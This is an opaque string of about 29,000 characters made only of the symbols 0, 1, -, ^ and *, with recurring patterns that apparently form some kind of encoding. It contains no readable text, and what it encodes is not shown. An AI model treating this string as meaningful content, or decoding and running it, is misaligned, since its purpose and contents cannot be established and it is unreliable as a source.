00^11*1^1*--00-11*--------0^-1*-*0^110-11*-----1^--^1101*-00^11*1^1*01*110-11*********^1*0^-001**00--101011*-01*1*1*-----1^-11011*11*-00^11*1^1*01*010-11*-01*1^1*-01*-11*1101*01^1*011****001**0-110-110110110101******1*1101*101******01**-11**001******01**110^1**^^1*01*1*011*001*1*--------01^-*-*00110101*^1*^10-11*11011*1*1*1*^1********1010^1*00^11011*1*1*-----1010-11***00-00^11*1^1*10101^-11*********^1*0^-001**00--101101*-11*-01*1*1*-----1010-1^101**-00^11*1^1*^1101*****00-*1^11011**1*010^1*********00101*001*-1*1*1*-01*1^1*-00^-11*-----1010--01101*00-00^11*1^1**11010-11*0101****01**00101*-1011*101*1*1*011****001**1^1^-1011011**00101*1*1*011****001**-01^-101101^1*1*1*00101*1*1*011****001**10101^-10110110101******101**00101******11**-0011**1******11***1101**1*11****011**0011*1*101*^11*1*110101^110-*1*001*******************01011*01*01*0011*011****01**01*001*010^11**11011010^1**1^110--**^10-*11**0-*01*1*00101*1*1*011****001**^-00-1011*01*01*1*00101*1*1*00101*1^1*011****001***01^1^-0011*00--------0^-1*-*0101*-11*-----1010---^1*-00^11*1^1*^1101******00101101101***^1^^1*11*00-*1*1*********1*1*^-001**00--101^^-11*-01*1*1*-----1010--10-01*-00^11*1^1*1*-0-11*-01*1^1*01010^-11*01101*1^1**11010-01*01101*1*1*--------0^-1*-001*-0-11*-----1010--0101011*-00^11*1^1*-10110-11*********^1*0^-001**00--1^10^-11*-01*1*1*-----1010--0010-*-00^11*1^1**110^1101^-11*1*^1********00110101*00^11011*1*1*-01*1^1*01101*-11*--------0^-1*-001*1*-11*------0-11011**00-00^11*1^1*^110101^1*-11*1*^101011*-11*01011*1*1*********-1*0^-*101*01*1*--------00110-*-00^1101011*110-11*1*^1*10^-11*01011*1*1*------0--00101*00-00^11*1^1*^110^10-10-11*1*^1*****01***001**001**0^1*1*********0^1*^-001**00--110101*-11*-01*1*1*------0-11011*1*0-00^11*1^1*1*^1*********1*1*00^10-*1*1*-01*1^1*00^^-11*------0--001101*0-00^11*1^1**11*-11*1^1*1^1*011****01**001^11*0101******01**^1*1*001******01**101*01*00^110101*******-01*101******01**^101**01******01**1*001**1*^1*1*1*011*******10101**101******1**001011**001******1***0101**0^--------0^-1*-0010^^-11*------0-110101^1*-00^11*1^1*^1101********1101^11*00^1^^-010110-11*00-*1*1*********0^1*^-001**00---*^-11*-01*1*1*------0--1101101*-00^11*1^1*00110^-11*-01*1^1*01^^-11*------0-1^1*11*-00^11*1^1*^11010^^10-11*1*^10101*0-11*01011*1*1*1^1*1^1*110101******101**00101******11**0^1**001******11**101101**01*11****011**0011*1*101*^11*1*110101^1^1*01*001*******************011**1*01*-1*011****01**01*001*0101*0101*11011010^1**1^11010-1**^^11*00101*0^1*1*1*--------0^-1*-*0110^-11*-----^--0-**0-00^11*1^1*01^110-11*********^1*0^-001**00--110^^-11*-01*1*1*-----^--01*1*00-00^11*1^1*-01*-01*1^1*10-*--------00110-*-00^110^110-0-11*1*^1^10110-11**00^1*1*-----^--010-*00-00^11*1^1*-00110-11*********^1*0^-00110101******-01101*101******1**01*1101*001******1**0-01011*00^110101******0-*1*101******11**11*01**1******11**101^1**1*11*******00101011*10^^-*011*0-001011010^1*001*1011**********11011*00^-*00--------1^-1*-00-01*-----^--10-11*0-00^11*1^1*^110^^1010-11*1*^1*****01**010-1**01**0^1*1*********0^1*^-001**00--^-*-01*1*1*-----^--^1^1*-00^11*1^1*1*0010-11*-01*1^1*11011*-11*-1*01^1*011****001**0-110-110110110101******1*1101*101********001^^1*001********00-*11*001*101*01*1*011*001*1*--------0^-1*-001*0010-11*-----^---*11*-00^11*1^1*101^10-11*********^1*0^-001**00--101011*-11*-01*1*1*-----^--11011011*-00^11*1^1*110^10-11*-01*1^1*01011*01101*1^1*01101*--------00110-*-00^1101*00-0-11*1*^-010110-11*11011*1*1*-----^---0-1*-00^11*1^1*1^1010-11*********^1*0^-001**00--1^11*-01*1*1*-----110--0101**0-00^11*1^1*^1101******^10--0101*001*010^1********1^1011*00^-11*1*1*-01*1^1*00101*-11*--------0^-1*-001*1*-11*-----110--010101*00-00^11*1^1*1*^1*10^-11*11011*1*1*********0011*0010-00110101******010-1*0101******1**0^101**01******1**001***001*001*01*1*--------^10-*-00^1101*****0011010-*0101**1*010^10-1010-11*0-1*1*1*-----110--00-01*0-00^11*1^1*1101*0-11*********^1*0^-001**00---001*-11*-01*1*1*-----110--*0-*0-00^11*1^1*1*^1011*10-11*10-*1*1*-01*1^1*1101*0-11*-----110--**01*-00^11*1^1*00101^-11*1011*0110101******1*0101*101*0-*-11*01011010-11*110101******0-*1*101******1**0-101**01******1**01*01**01*11*******00101011*10^^-*011*0-0010-00^1*001*0011*-01010-11*-*00--------0^-1*-*0-*-11*-----110---01101*-00^11*1^1*^1101*****0011*0^-11**0^1^^1********010-11*001*0-*1*1*********10101*^-001**00--10101*0-11*-01*1*1*-----110---01011*-00^11*1^1**1101*010^-11*1*^-*010-11*01011*1*1*-01*1^1*^11*10101*1^1*01**--------^10-*-00^110^101*0-11*1*^1********1*0101*00^11011*1*1*-----110--00--*-00^11*1^1*0-0010-11*********^1*0^-001**00--1*11*-01*1*1*-----10---11**0-00^11*1^1*^11010^11010-11*1*^-001^-11*01011*1*1*-01*1^1*01101******01101*011010101*****0^1*00-0-*****011**01*1******0-*01^1******011**01^11*****00101*00^1011*****0011**1^101*****00101*0010101101*****0-***-1********010^1*****001101**011011*****0^1*0-1^1******1**0011011******11*001101011*****01***10-1*****001**01011******00101*010-1******001*001^^1******01*0^1101******01*001010-*****00-*0010-01*****00101**-1******0-**0-101*****01011*00-101******011*0^-1*****001011*0^^11*****01011*001*101*****01**0-01******001**10-01*****0011**0010-1*****00-*00101101*****001011*0-01******0^1*01^1011*****0101**0-001*****01**0-011******11***-******1101*00-01******0101*01010-1******1**-0101********101011******1**01*011*****001011*0^1^1*****01**0011*1*****001011*0101*******011**-*1*****00101*0^-01****************0011**10^1*****011**^1*1*****0011*001*0-******01*00-1011******1*001101101*****001***01*1*****01101*00-11******-**-*1*****01101*010^11*****00^1*00^^1*****01101**-001*****0101**00^1******001**10-1******01**101******00101*001011011*****01101**0-01******11*0110101******001**01011********001*0101*****011**101*******011*00-1*******101*001*1******^1*00^11******0-**1^1******101*00^^1*****0011**101011******1**0101011*****00-**001*******101**-11********01*1101******1**--*****001011*0-011******0011*0--******01**11011011*****0^1*001011******00-*0-011******0-**1*********001*-******11*00-0101********00^1******01101*00--******1**0-*1********1*1101*****0^1*00110101******001**1^1******001*0--01*****001***^11*****01**001010101*****0-*001^-*****00101*00-^11******1*001011******001101*00-011*****00^1*0010-01******01**-11********00--1*****0-*00-01011******11*010^11******011*01011*******01*001*-1********10101011*****01011*00-1011*****0-*00-10101*****00101*01011******00101**010-1*****0011*0010110-*****01011*00-0101******11*0^^11******01**01^1*****01011*00110-*****001**0--11********11**********0110-0101*10^11*1*1*^11*1^1*-*10-11**00^1^1*001****01**001**0--0-11*1^1*001*******010101010--00-1*1^1*001*******-1*10--010-*1^1*001*******0-11010--*-*1^1*001****01**0^110^--011011*1^1*001****01*****0--001011*1^1*001****01**0-010^--001101*01^1*********1***-001*1***001***1011*******01*-0-****1**001^1^1*1*******0010101*********11*******001**-001******1***1*1********011*-*****************************00^101*****001**01^1011********1^^1*****01****01********001********101^1*001********0010101*101****01**00110^-101^11****00-101101^^11**0-101^-0110101******001^^-110110^1**110-11010^^1101******0-1^110-**1*010^1********010-11*001*101*01*1**^-10101*-*01^1*^110101*^10-*0-11*-1*01*1*1*^10-*0-11*-1*01*1*-1**110^^1*01011*01*******0010101^1010-*01*********0-101********00-101********00-101********00-101*******************0^101*********11*00101*^-*01*1*0-*01^1*-01*0^10^-101^110-11010^^1101******010-1010-01*001*010^1*****001**1^1**001*101*01*1*01*00-0101*011*01^1*11011*101*00101101*101****1****^-1011*01*00101****01**10110^-101^11*****1*00-1101*0101*11****001***1^1*101*0011*01*11011**10-00101011**001*0101*110101******001^1*0101******1***011**001******1***0011**0^110101*******-*00101*-0010-11*0^-0-11*-01*110101******-*1*0101*-*0-11*-01*-11*-**1**001****001**010101*--0011*001101*01*******00-1101^10-00101****1**0-11*-1011*01**1^10110101*******************01101011********00-001********00-*********00-001********00-001********001**********-*00101*1*11*01*1*0011*01^1*00-*0011*0110101******0-^1*101********00-0-1*001********0010110101*00^110101******1*001*0101******01**1101101**1******01**00-01**^110101******1*0101*101*********0--*001*********10-01*00^110101******0-*1*101******1**0-*11*001******1**0^^11*001*11****011**10-001*10^1101**-1**^11*1101*001*0101**11*^11*01**0101****1**01^^-00-0011****011**10-001*10^1101**-^1^^10101101**1*0101*00-*^11*---------*1*0-*11*001^1*00-**1*011010^^10-11010^^1101******0^110--1**1*010^1*****01**01010^1*001*101*01*1*--------1*011*0-*11*001^1*0101*0-11*^1**110^1**00--1*11*001*001*1*--------1*-*0-*11*001^1*^1*0-11*001*001^1*-01**--1010^^1*0-11*1**-0101*11*001^1*1*^--*-11*^1*01*1*^1**110^1**00--101101*001*001*1*1*^-0101*11*001^1*0-1*001*001^1**11*0101*00101****01**11010^1^-0-10-11010^^1101*****00-011*01***01*010^10-1^-11**1*01*1*0011010-0101*11*001^1*^1101******-0101*-1**^1^^1*****01***110101*00^-*001*1*0^1*00110^1**00---101*001*001*1*101*-10101*11*001^1*11011*001*001^1*01101*********00-11*********-01*********-1*********-01*********001*********00--*********00101******************************0-1**********101********01101*0101*^11*001*1*011*001^1**11*0101*01^1*001*******010101010--0^1*01^1*001*******0-11010--*01*01^1*001*******-1*10--0-*001^1*001****01**0^110^--0-1*01^1*001****01**001**0--001101*01^1*1**11010^1*1***001**01^11******01**1*11****01**001^11011*1*******0010101*********011*******0101*00101*1******1*00^1011******11*001*01******************************001101*******1*01^11******1**01*^1*****0011**1*101********01**1*******0010101*********^1******00101**1*011*****0101**101101*********01011*****************1^101*001********001010^11011*1*1*-----^10-^1**00-00-----10--10-11*00-*^1^1^1*0^1*-11*--------01^-*-00^1101*****0010^101*10101*00^1^^1*****01**01^-**1*1*^1*1*-----10--10101101*0-*^1^1^1*^1101********0-*11*00^1*^^11*0-11*00101^1*1*********0^1*^-001**00---011*10-*1*1*-----10--10110-*0-*^1^1^1*^110^-*0-11*1*^1********1010^1*00^1^1^1*1*10-*1^1*-01*--------^10-*-00^1101*****00101010--011**1*010^-^^-11**01^1*1*-----10---01^1*-*^1^1^1**01*-11*********^1*0^-001**00--101101*10-*1*1*-----10--10-0101*-*^1^1^1*^1101******1^101010^11*001*010^^-*-11**01^1*1*10-*1^1**11*0101*01*******001*0^1011*1*11*-11*--------^10-*-00^1101**^-11*1*^1*****01**01*101**1*0^^1*1*-----10---011011*-*^1^1^1*^1101*****00--10110^11*001*010^1********^-01*00^10^^1*1*********10101*^-*-^--01********0^10-*001**011*10^^10-0-11*001*******010101010--*10^10101*0-11*001*******010101010--00101*0-11*001*******010101010--01**00---101*10-*1*1*--------^11**-*^1^1^1*10-*10-*1^1*11011*010101*0101*--------1^-1*-0010-*--------001101*00-*^1^1^1*01101**********1*0^-001**00--101011*10-*1*1*--------0-11*00-*^1^1^1*0101*0-11*10-*1^1*^11*--------010^1*0-*^1^1^1*11011*-----1010-110101*1^-*101******0010-11*0101*101******0011***101*11****011**0011*1*101*^11*1*110-^1101*11**1*******************01011*01*0^11011*01**--------01^-*-00^1101*****00-01*10^1**0^1^^1********00--*001*1*^1*1*--------^1*1*-*^1^1^1*^11**********1*0^-001**00--1*11*10-*1*1*--------1101^1*-*^1^1^1*1011*0-11*10-*1^1*01011*010101*0101******01**001*11*****001***00-********00-1011*****01**00-1*****************1**001*11********00-*********0101*01********01**********1101011********0110-11*****01**01^11**********^1********01^-********-1101*******************1^11*********1^-*****01**01101011********011*001********00101*101*^^1^1*1*0^1^1^1*01011*********10-0-0-01101^1******1***0010-0-0-1011*1^1*011**101********101*0101*0011*-11*011**11****001**001^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^1011*1*1*-----10--1101**00-00-10^1^1*0101*0-11*0101*******-001*0101*0011*-11*01101*011*00^1101*011*-11*^101^-*1011****001**001^--01^101****01**01101010-10110^11*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^1011*1*1*011****001**001^--01^101****01**01101010-10110^11*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^1011*1*1*--------1^-1*-00^11*-----10--^-01*0-00-10^1^1*^1101******--1*001**01*010^-101^-11**01^1*1*********0^1*0-11*0011*-11*^101^-*1011****001**001^--01^101****01**01101010-10110^11*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^1011*1*1*-----10--^10^1*-00-10^1^1*00-*01011*1^1*011****001**0-110-1101^11****001**001^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110^11*1*1*10101*1*1*^11*1^1*011****001**0-110-11011*011*1*1*10101*1*1*-----10--1101^11*-00-10^1^1*^110101*^11*0^-11*11*^1*1*1*^1*****01***001**00^11*^1*1**11*1^1*011****001**00-**101*11****001**001^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^1101*1*1*-01*1*1*110101*******-01*101******1**0011***01******1**00-011**1*11****011**0011*1*101*^11*1*110101^-101*1*001*******************00101*01*0^10-*011****01**0^^11*101******01**1101011**1******01**^-**01*^1*1*1*--------00-1*00-00-10^1^1*0-1*-01*1^1*011****001**001^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^1101*1*1*--------^-1*0-00-10^1^1*01101*01101*1^1*011****001**0-110-1101^11****011***001*0010^110101******1101011*0101******1**01^101**1******1**0101*1**1*11****011**0011*1*101*^11*1*110101^1^11*1*001*******************00-*01*01*1101*011****011**10-001*10^1101**-1*^^^1*1**1*0101*0-1*00-*-11*1*1*1*1*10101*1*1*10101*1^1*011****001**--0-00-*****001**01^-*****001**0^10-******************001011*1********-00-*****01**0101011******1***1*11****************1***1*11********00--*********^1*********00101*********11*0101*10-10^1*1*-10^1^1*01011*00-0110101******001^^-11011011011******01*11*1101*0--^-*0^1**************************************************************0101*00101*1010110^1*1*10110^1^1*01101*********00110^10-0---------^-1*-00^11*-----10--110-11*0-0011010^1^1*^1101*****00-*10101*11*001*010^1*****01**011011**00^10^^1*1*********10101*010-*101****01**00-11*0101*0-*0^1*-----10--10-^1*-0011010^1^1*0-1*0^1*1^1*011****011***001*0010^110101******1101011*0101******01**11***001******01**10101**001*11****011**0011*1*101*^11*1*110101^1^11*1*001*******************01011*01*01*1101*011****011**10-001*10^1101**-1*^^^1*1**1*0101*0-1*-1*0-11*0101****01**0--*0101*0101*0^1*--------11*-*-00^110101*^1*****01****-*00^11*^1*1*1*^1*****01**001*001*00^11*^1*1*-----10---0-11*-0011010^1^1*1*^1*****01**0-***0^11*^1*1*********-1*0^-00110101******0010^1*101******11**-1101**1******11**001101**01*11****01**01*001*0101*0101*11011010^1**1^-^-**1*1011*01**0101****01**10-11*0101*0101*0^1*--------0^11*00-0011010^1^1*01011*1*1*1^1*0101****01**0--*0101*0101*0^1*--------1^-1*-*1011*--------^^1*0-0011010^1^1*^1*0-11*********^1*0^-00-11010110101******11011**10^110-00-11*01*^-11*011****011**10-001*10^1101**-^1*^^^-*001*0101*11011*0-*0-11*0101****01**10-11*0101*0101*0^1*-11010110101******11011**101******01**1*001**1******01***1101**1*11****001***1^1*101*0011*01*11011**^1^10-001**1*0101*0101****01**10-11*0101*0101*0^1*110101******11011**101******01**1010-**1******01**0011011**1*11****01**01*001*0101*0101*11011010^1**1^11*0-**^10-*01**0101****01**10-11*0101*0101*0^1*00101*1^1*0101****01**110-1*0101*0-*0^1*--------101*11*-0011010^1^1*0-1******01**00110101********00101*1*****01**0-101********************010-*****01**00110101********01101^1*********1*********************10-******************001101*0101*1011010^1*1*11010^1^1*10-*00-*1^1*0101****01**-0-0-101^11****001**10-010-101101^1*1*1*--------*0^1*-00^10^1^1*01011*1^1*1^1*011****001**-110101^-0110101******0-*1*101******11**-00101*001******11**^10101*001*11****011**0011*1*101*^11*1*110-^110101101**1********************1*001*0^10-*01**0^1*1^1*1*******001*0^1011*101101*1*1*1^1*011****011**0011*1*101*^11*1*110101^110-*1*001*******************0^1*01*01*0011*******************001*101*******************0-1******************************0011*00101*10^10^1*1*^10^1^1*^11*******1*00-10110^-00110101******-01101*101*********--1*001*********001^1*00^110101******0-*1*101******11**^-11*001******11**-0-1*001*11****011**0011*1*101*^11*1*110-^110-101**1*******************00101*01*0^^11*01***************************************************************0101*00101*10-00^1*1*-00^1^1*01101******0011*00-1*110-0-1011*1^1*00101*01^1******011**001^110-0-1011*1^1*011*00110101******00^1*00101******01***0101**1******01**0-101**1*0011*-11*011***1*1*1******0011**010110110-0-1011*1^1*00101*--------^10-*-00^1101*****001101^-01*1*00^1^^1*^10-11*01*^1*1*-----1010--0-011*-001*0^1^1*^1101*****00^-^1*-*001*010^1*****01***01*1*00^10^^1*1*********10101*010-**1*1*1*-----1010--00-11*-001*0^1^1*00101*-11**01*1^1*011****001**10-**10^-1*01*1*0-*01*1*1011*01*1*110101*******-01*101*0101010-11*00-^-11*011****011**0011*1*101*^11*1*110101^1^11*1*001*******************001**1*01*1101*011****01**0^^11*101******01**-0101**1******01**101***01*001*0------0-1^-1*00-001*0^1^1*1101*0-11*-1*01^1*011****001**001^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-1011*011*011****001**010^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110^1*01*1*0-*01^1*011****001**001^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110^1*01*1*------0-1^^101*-001*0^1^1*^1101*-^-11*1*^10-1*-11*00^^1*1*1011*01^1*011****001**001^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110^1*01*1******0-*0010110-10-0-1011*1^1*011*00110101******00^1*00101******01**01*01**1******01**001^1**1*0011*-11*011**011*01*1*-----^--01011**-001*0^1^1*-01*-11*0011*01^1*011****001**00-**10^1101*01*1*0101*01*1*110101*******-01*101******11**0011011**1******11**001***01*11****011**0011*1*101*^11*1*110101^-101*1*001*******************01**01*0^10-*011****01**0^^11*101******11**01011011*001******11***1*1*001*001*01101*01^1*011****001**001^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110^1*01*1*-----^--**01*-001*0^1^1*^1*0-11*0101*01^1*011****001**001^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-10110-01*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110^1*01*1*--------00110-*-00^110^-1010-11*1*^110-110-11*00^^1*1*-----^--110^11*-001*0^1^1**01*-11*********^1*0^-**0110110101******11011**10^1*1010-11*011*10-11*011*******00101011*10^^-*011*0-00101*01101*001*-1*********00-001*001*11*001*1*110101******11011**10^110-10-11*00110110-11*011*******00101011*10^^-*011*0-0010-0^1**1*0-*1*0^-11*011*001*1*^1*01^1*011****001**0-110-11011*01*01*1*001*001*1*-----110--*11**-001*0^1^1*^11*-11*01^^110101*******-01*101*011*0-11*00^110-11*011****001**10110110-101^11****01**01*001*0101*1**11011010^1*0110^1^1*01*001*-1*01**01101*-*001*1*011****01**0^-11*10^-^10-11*00110110-11*-----110--^^1*0-001*0^1^1*1*^1********-1^1*00^11*^1*1**1*01^1*110101*******-01*101******11**10101101*001******11**10-011*001*11****001**10110110-101^11*******00101011*10^^-*011*0-0010^1*1**^10-**********1^1*001*1101*-*001*1*011****01**0^-11*101******1**0010101**01******1**0^1***1******^1*0--1010-0-1011*1^1*00101*--------0^-1*-*0011*-11*-----110---1^1*-001*0^1^1*1*^11*0110-11*00^^1*1*********0011*0010-*11****001**1*-0-101^11****001***1^1*101*0011*01*11011**^1^110-01**1*0101*-*001*1*-----110--11*011*-001*0^1^1*^1101010-110-11*1*^1*****01***-001*00^11*^1*1*-*001^1*011****001**01^1101^-0110101******0-*1*101*********010^1*001*********101^1*001*11****011**0011*1*101*^11*1*110-^1101^11**1**********************1*0^-01*01**-----10--1***00-001*0^1^1*0011*0-11*011*001^1*110101******110-*0010^10101*-11*^-00-11*011****011**01^1*00101*11****001**001^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--01^101****01**01101010-101^1101*011****001**010^--0110101*001*1*101*001^1*011****001**0-110-110110^1**1*001*1*001*001^1*011****001**--0-00-******101*01*001010-0-1011*1^1*00101*-----10--10101101*0-001*0^1^1*10-*1011*0110101*******-01*101*********1010-*001*********1*001*001*11****001**10110110-101^11****011**10-001*10^1101**-^1*^-01^1*001*0101**11*1^1*-11*01101*-**11****01**0^-11*101*********-^1*001********0010-101*00^-----10--10110^1*-001*0^1^1*-1*0-11*0011*0110101*******-01*101******11**^10101*001******11**1*0011*001*11****001**10110110-101^11*******011**00101*1011*-*001011010-*0110101101**1********0011010101*001*1101*-**11****01**0^-11*101******11**1*101**1******11**0^-**^--------0^-1*-001011*0-11*-----10--^-011*-001*0^1^1*^1101*****001010-1*101**0^1^^1*****01**0-*01*001*1*^1*1*********10101*^-00110101******0010^1*101******1**001010-*001******1**0^1^1*001*11****001***1^1*10^10-*01*11011**^1^-*1**01*0101*011****001**10110110-101^11*******00101011*10^^-*011*0-0010^1*1**1*0011*-0-0-11*01101*-*******1101**101*10-0-1011*1^1*00101*--------0^-1*-*-*0-11*--------001011*00-001*0^1^1*01101**********1*0010-*11****001**1*-0-101^11****011**1*-*0101*-**^^1011010110101011*001*-1*******************00101*001*0^-*00--------1101101*0-001*0^1^1*0-1*1101*0011****001**01^1101^-0110101******0-*1*101******01**-01**001******01**^11**001*11****011**0011*1*101*^11*1*110-^-1^11**1*******************00-*01*01*1101*01********1***0011*****001**1010-*****001**010--*****011**1^-******01**00^11*****001**001*1******01**010^1*****01**01011*1****************11**001101******01**-^11********-0-1*********1011*****001**01^11******1**01011*1******1*001*101*****0011**^10-*****011**1011*********00^11******1**0110-******1***1*01****************1**0010^11*****01**01010-1*********-01*****011**-1*1*********0011********011011*101*101*0^1*1*1*0^1^1*11011******00101**00^1^-001**00--1^11*10-*1*1******01101*0-0-1*-0010-*1^1*01101******************************011***********1********************101*00101*10-11*1*1*-11*1^1*^11*10^^1^1*001*******010101010--*^^1^1*001****01**001**0--011*^1^1*001*******0-11010--001*^1^1*001****01**0^110^--*001^1^1*001*******-1*10--*101^1^1*001****01**0-010^--01^1^1^1*001****01*****0--001101*01^1*********1***-001*1***001**00^11******0011*010-01****1**001^11011*1*******0010101*********^1*******1**0101******001**01*001********0^^11*****************************00^101*****001**0011011*********01011******1**001**********01********101^1*00^1010^101*001*1**************************************************************0101*00101*1010101*1*1*10101*1^1**11***********0010-0-01*001^1*00101*01^1********00^1*010-0-01*001^1*011****001**01010--10110^1*0-*00101**01*001*1*--------0^^1*-001^1*1^1*00-*001*001^1*011****001***10-1^-0110101******011**00101******11**^1***1******11**01***001*-*0-11**11*^1*001101*001**-*0---------01101*-001^1*1^1*^1101*****00-001*1*01**^1^^1********0010-1*001**1*1*1*00-0010-*0-11*-01*^1**-00101011*01101*^1*01011*01*******001*0^1011*1*01*-11*********110^1*******************0011*********0110^1********001^1*******************001^1********00-*00101*101^1*1*1*1^1*1^1*-01*00-0110101******001^^-11011*01*0--------00110-*-001*^1********-01101*00^1*1*1*1*--------101*11*-00-1*01^1*^1101*****001*0^^1***^1^^10-0010-11**01*1*1*********0^1*^-*001*********0110101********0010^1******************************110101********0010^1********00110101********00-*00101*10-1*01*1*-1*01^1*01011*********0^101010-0-101*0011****001**01101011*101**0^-11*011****001**101010-^-0-01*001**11**001*********01*1******************************01*1*********1*1*********101*00101*101011*01*1*1011*01^1*^11*0011*00101****1**0^-001^-01101*01*******001*0^1011*1*00^-11*0101*0011****001**-10101*101*11****011**-001*0010^11**01****************************************************0010101*********101*00101*101101*01*1*1101*01^1*^11*--------0110101*0-*001*01^1*01011**********1**0-00--------1^-1*-*0-*--------^1011*0-*001*01^1*10-**********1*0^-0010-00--01********0-*01*001*10110101^^1*****01**0010-1**1*01****01**0^110^--01^^1********01010-*001*01****01**0^110^--********001010-*001*01****01**0^110^--01**00---101*011*001*1*--------11*101*-*001*01^1*01101*011*001^1*-01*---------10-*-001*^11*-0-11*^1*01*1*--------*-01*-*001*01^1**11**********1*0^-001**00--101101*011*001*1*--------010^11*-*001*01^1*00-*011*001^1*01101*********0^11*********^-********0-0-********0-001********001101*********00^11********00-001*******************00^11********00^1*0101*1*01*01*1**1*01^1*-01*^1*01^1*001****01**0-010^--01*1*1^1*001****01*****0--*001*1^1*001****01**0^110^--001101*01^1*********1***-001*1***001**01*11******01**001011****01**001^11011*1*******0010101*********^1*******1**-011******1**0011*01********1*1101****************00-*1*001******10101*0-00--01010-*^110101*^^1*10-11*001****01**0-010^--01*^1********1*0011*001*01****01**0-010^--********01*0011*001*01****01**0-010^--00101*01*1**************************************************************0101*00101*1*101*1*1*00101*1^1**11***********0010-0110101*01^1*00101*01^1********00^1*010-0110101*01^1*011****001**1^1011*101*001*01*1*^1*01*1*101*00110101******011**00101******11**00--*001******11**-0-1*001*-1*01101**1*01*1**00^-11*-*001*1*-----10--110^101*-001*1*1^1*1*^1*01010-11*0-*01*1*110101******011**00101******01**1*1011*001******01**01011011*001*0011*-11*01101*^1*01*1*01101*-*001*1*^1*01^1*1*******001*0^1011*1*11*-11**1*01^1*1*******001*0^1011*10-1*-----10--1^11011*-001*1*1^1*^1101******010^110^11**1*010^1*****01**0101*11*001*^1*1*1*-*001^1*011****011**-001*00101*11*001*1*001*001*1*011*001^1*011****001***01101*101*11****011**-001*00101*01*00101*001*1*-*00--------^1**0-001*1*1^1*^1101*********110-*00^1*^1********00-001*001*-*01*1*101*001^1*011****001***01101*101*001*0-**01*001^1*011****001***01101*101*11****011**-001*00101*01**001*0-*00--------1^-1*-0011011*--------00-1*00-001*1*1^1*^1101*****0011**--1**1*010^1*****01**001*11**1*^1*1*1*********10101*0-1^1^1*-11*^1*0--------^1101*0-001*1*1^1*10-*1011**011010-01*^1**-00101101*^1**01*0--------^1011*0-001*1*1^1*^1101*0-00-11*1*^1010-00-11*0-*01*1*1011*0^101^-*^1*00--------00-11*0-001*1*1^1*01101*110101******011**00101******11**10-001*001******11**0110^1*00^^101^-*^1**1101**1*001101*001**011*01*******001*0^1011*^101*-11*--------01*101*-001*1*1^1*0101*0-11*1101*0011****001**-10101*101*11****011**-001*00101*01**11**101*0011****001**-10101*101*11****011**-001*0010^11**01******************1****1********0011*1*********0110-********00-101********0011011*****001****1*********0-01*******************00-01********0-1*1********-01011********^^1********01011*0101*101*1*1*1*1*1*1^1*01011*--------0-011*0-001011*01^1*110110^-1*1*^^^^-11*-1*01*1*********0-**0-00--------1^-1*-*1011*---------*01*-001011*01^1*11011**********1*0^-001**00---101*1101*01*1*--------^1^1*-001011*01^1*1*^11*0110-11*-1*01*1*1101*01^1*-01*--------^10-*-00^11010^11*-11*1*^1********-1*1*001*-*01*1*--------*-01*-001011*01^1*01101**********1*0^-001**00--101101*1101*01*1*--------010^11*-001011*01^1*01011*1101*01^1*01101*********^1101********01101********************0010101********0^1101*********-1*********0-1*********0-1********00101101********00^1*0101*101011*01*1*1011*01^1*00-*-1*01^1*001****01**001**0--00-*01^1*001****01**0-010^--00^1*1^1*001*******010101010--001101*01^1*********1***-001*1***001***0011******01**01*001***001**001^11011*********--------11011**-00101*001^1*11011*01010^-*00--------^10-*-00^1101*001*-11*1*^1*****01**010101**00^^1*01*1*--------101011*00-00101*001^1*^1101********0-01011*00^1*^1*****01***0-**0^^1*01*1*********10101*--00^11010^1*0110110^1011**1******001**01*11**0^1011***010-11*0011*******01**01*11*001*101**011010-01*011*00--------01^11*0-00101*001^1*1*^101101010-11**1*01*1*1101*00101*******0^-*10^11**11011******011**0011*101**----------1*0-00101*001^1*^1*0-11*1101*0101*00---------10-*-001*^11*-0-11*011*001*1*--------0010^1*-00101*001^1*1*^-110110-11*-*001*1*********0011*********01**0101*101*01^11*00^11010110-10-11*1*0110101**01*00--------1*1101*-00101*001^1*11011*0101*001101*--------110-01*-00101*001^1*1*^1*01010-11*011*001*1*01^1*11****001**11011**01011********01010101********-0011*******************00-*********0^1*********00-*********11*01*********010101********0^1*********11*01********00-001********01101*0101*10101*001*1*********101*1*0-00^1*01^1*001****01**001**0--*01*01^1*001*******0-11010--0-*001^1*001****01*****0--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**0-101******1**01011****001***1^1^1*---------11**-001011**-*010101*0-00--01********011010-*00^-110101*^1********-10101*001*01****01**0-010^--01*^-101*-11*001****01**0-010^--0-01*-11*001****01**0-010^--011011******001**0010-0-*00---------^1*0-001011*0110110^1011*1*^10^1010-11*001*001*1*--------0010-1*-00^11*--------01*11*0-001011**011*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------^-1*0-001011*010-*1101*00101****1**0^1**010^11011******011**0011*101**--------0011*1*-001011*010-*1101**101*--------1^-1*-001101*0-11*--------00-001*-001011*0^1*0-11**********1*********01**0101*101*01^11*00^110^-1*1*011011**001*00--------00101101*-001011**-*0101*001101*--------10-101*-001011*001101*01^1*11****001**01011**01